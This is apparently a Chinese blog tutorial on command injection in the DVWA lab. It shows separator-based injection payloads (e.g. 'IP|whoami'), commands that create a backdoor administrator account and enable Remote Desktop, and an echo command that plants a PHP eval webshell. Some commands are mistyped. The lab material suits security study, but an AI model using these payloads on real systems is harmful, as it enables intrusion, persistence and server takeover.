当前位置: 首页 > news >正文

rce命令执行原理及靶场实战(详细)

2. 原理

  1. 在根源上应用系统从设计上要给用户提供一个指定的远程命令操作的接口
  2. 漏洞主要出现在常见的路由器、防火墙、入侵检测等设备的web管理界面上。在管理界面提供了一个ping服务。
  3. 提交后,系统对该IP进行ping,并且返回结果。
  4. 如果后台服务器并没有对其进行严格的过滤或者筛选时,那攻击者提交一个具有危险的命令就会被后台执行,从而可以进行控制整个后台服务。
  5. 要掌握过滤

3. 执行方式

管道符:

“ | ” 直接执行后面的语句 ping127.0.0.1whoami

“ || ” 前面的语句执行出错则执行后面的语句 ping127.o.0.1jwhoami

“ & ” 前面的语句为假则执行后面的语句 ping127.0.0.1&whoami

”&&“ 前面的语句为假,直接出错,前面的语句为真,执行后面的语句 ping127.0.0.1&&whoami

4. 符号操作

4.1. |whoami

这是一个简单的命令执行,输入网址进行ping服务

我们使用上面的管道符进行实验

172.220.52.186|whoami

| :这个是不管前面是什么,直接执行后面的语句

IP地址|命令

命令执行成功如上图所示

4.2. ||ipconfig

前面出错执行后面语句

asdfa||ipconfig 命令执行查看ip

4.3. &whoami

哪一个对了执行哪一个

&:当前面一个出错则可以执行后面的,

asdf&whoami

前面ping的通则执行前面的 172.220.52.186&whomi

4.4. &&ipconfig

前面的语句为假,直接出错,前面的语句为真,执行两个语句

ping127.0.0.1&&whoami 前面正常,两个执行

27.0.0.1&&whoami,出错,后面不执行

上面该dvwa靶场实验练习管道符,管道符为命令执行重要符号。

熟悉了管道符正常操作后进行实战

5. 模拟远程连接

任务:通过命令执行漏洞,对目标靶机侵入创建虚拟账户,并对其进行远程访问。

熟记指令

  1. 创建用户:net user yuancheng 123/add //创建yuancheng密码为123
  2. 查看用户:net user
  3. 将用户添加到管理员组: 127.0.0.1&net localgroup Administrators yuancheng /add
  4. 开启远程管理服务: 127.0.0.1&net user yuancheng /active:yes

特况:

如果连不上可能远程桌面功能没有打开,使用如下命令打开:

asdf&add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


5.1. 开始

asdf&net user yuancheng 123456 /add

呃,指令不成功,直接去靶机创建用户并提升为管理员

net user yuancheng 123456 /add //如下图所示

net localgroup Administrators yuancheng /add //提管理员

远程连接

输入密码

ok,连接成功

6. 写马

写入一句话木马并使用webshell连接

熟记指令:

  1. 查看当前路径 chdir //查看路径,之后将一句话木马写入该路径
  2. 查看 C 盘下的文件 dir C:\ //可以看到C盘文件
  3. 写入一句话木马、用 webshell 管理工具连接成功 写入一句话木马、用 webshell 管理工具连接
  4. echo "<?php @eval($_POST['cmd']);?>" > C:\phpstudy\PHPTutorial\WWW\webshell.php
  5. 蚁剑连接

6.1. 开始

查看路径

dir C:\ 查看文件情况

将其木马写入www即可

echo "<?php @eval($_POST['cmd']);?>" > C:\phpstudy\PHPTutorial\WWW\webshell.php

使用蚁剑连接,在木马存在的目录

C:\phpstudy\PHPTutorial\WWW\webshell.php

可以查看到文件

http://www.xdnf.cn/news/621595.html

相关文章:

  • Vue项目前后端交互大量数据的-之-前端优化方案
  • 前端流行框架Vue3教程:25. 组件保持存活
  • 湖北理元理律师事务所债务优化方案解析:如何科学规划还款保障生活质量
  • 0304考试通过-逻辑回归实战-机器学习-人工智能
  • Symbol、Set 与 Map:新数据结构探秘
  • uniapp-商城-66-shop(2-品牌信息显示,数据库读取的异步操作 放到vuex actions)
  • Perl单元测试实战指南:从Test::Class入门到精通的完整方案
  • Linux系统管理与编程23:巧用git资源一键部署LAMP
  • ShenNiusModularity项目源码学习(29:ShenNius.Admin.Mvc项目分析-14)
  • React整合【ECharts】教程001:柱状图的构建和基本设置
  • 【Python 中 lambda、map、filter 和 reduce】详细功能介绍及用法总结
  • Java三十而立:Java 的30岁与Spring AI 1.0正式发布
  • STC89C52RC/LE52RC
  • 嵌入式Openharmony系统应用开发与实现方法
  • (已开源-CVPR2024) RadarDistill---NuScenes数据集Radar检测第一名
  • TypeScript 和 JavaScript核心关系及区别
  • 最大似然估计(Maximum Likelihood Estimation, MLE)详解
  • 机器学习课程设计报告 —— 基于二分类的岩石与金属识别模型
  • PHP SPL 自动加载机制详解与实战应用:spl_autoload_register 使用指南
  • BLIP论文笔记
  • 使用 CodeBuddy 实现视频合并工具:解决本地视频处理痛点
  • 【RabbitMQ运维】集群搭建
  • 【强化学习】#7 基于表格型方法的规划和学习
  • 力扣 283.移动零 (双指针)
  • SQL语句的执行流程
  • C++搜索二叉树
  • Java语言快速排序和堆排序(优先队列)介绍,附demo代码
  • C# 深入理解类(析构函数和this关键字)
  • 【RK3588新品】嵌入式人工智能实验箱EDU-AIoT ELF 2发布
  • 【萤火工场GD32VW553-IOT开发板】ADC电压的LabVIEW采集